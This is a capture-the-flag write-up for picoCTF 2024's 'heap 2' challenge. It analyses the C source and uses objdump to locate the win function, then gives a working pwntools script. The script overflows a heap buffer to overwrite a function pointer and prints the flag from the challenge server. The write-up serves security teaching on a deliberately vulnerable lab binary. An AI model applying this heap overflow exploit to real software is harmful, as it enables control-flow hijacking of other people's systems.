Skip to content

Latest commit

 

History

History
194 lines (152 loc) · 4.39 KB

File metadata and controls

194 lines (152 loc) · 4.39 KB

heap 2

Level: Medium
Tags: Binary Exploitation, picoCTF 2024, browser_webshell_solvable, heap
Author: ABRXS, PR1OR1TYQ

Description:
Can you handle function pointers?

Download the binary here.
Download the source here.
 
Hints:
1. Are you doing the right endianness?

Challenge link: https://play.picoctf.org/practice/challenge/435

Solution

Analyse the C file

We start by analysing the rather long C source code. First the main function.

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Main basically does the following:

  • Initialize the heap by calling the init function
  • Print the menu with the print_menu function
  • Read the menu choice, basically 1-4, and do different things based on the choice

The big difference compared to the previous heap challenge is that the check_win function (menu choice 4) is "empty" and will call the address pointed to from the variable x

void check_win() { ((void (*)())*(int*)x)(); }

There is also a win function that will print the flag for us

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

Let's skip the rest of the source code for now and try out the binary.

Run the binary locally

Next, we run the binary

file chall               
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped

./chall                    

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x49e6b0  ->   pico
+-------------+-----------+
[*]   0x49e6d0  ->   bico

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 

As before, the difference between the memory positions is 32 bytes.

python -c "print(0x49e6d0 - 0x49e6b0)"                                                 
32

The variable x is set to bico and if we try to print the flag we get a segmentation fault since x currently points to an invalid memory address.

Enter your choice: 3


x = bico


1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 4
zsh: segmentation fault  ./chall

Create an exploitation script

We need to know the memory address of the win function in order to call it. This can be done with objdump

objdump -D chall | grep win
00000000004011a0 <win>:
00000000004011f0 <check_win>:

So the win function is at 0x4011a0.

Next, we write a small python script with the help of pwntools to get the flag

#!/usr/bin/python

from pwn import *

SERVER = 'mimas.picoctf.net'
PORT = 56078

# Set output level (critical, error, warning, info, debug)
context.log_level = "info"

io = remote(SERVER, PORT)

# Select menu option 2 (Write to buffer)
io.sendlineafter(b"Enter your choice: ", b'2')

# Send payload
win_func = 0x4011a0
payload = 32 * b'A' + p64(win_func)
io.sendlineafter(b"Data for buffer: ", payload)

# Select menu option 4 (Print Flag)
io.sendlineafter(b"Enter your choice: ", b'4')
print(io.recvallS())
io.close()

Get the flag

Finally, we run the script and get the flag

~/python_venvs/pwntools/bin/python get_flag.py
[+] Opening connection to mimas.picoctf.net on port 61205: Done
[+] Receiving all data: Done (42B)
[*] Closed connection to mimas.picoctf.net port 61205
picoCTF{<REDACTED>}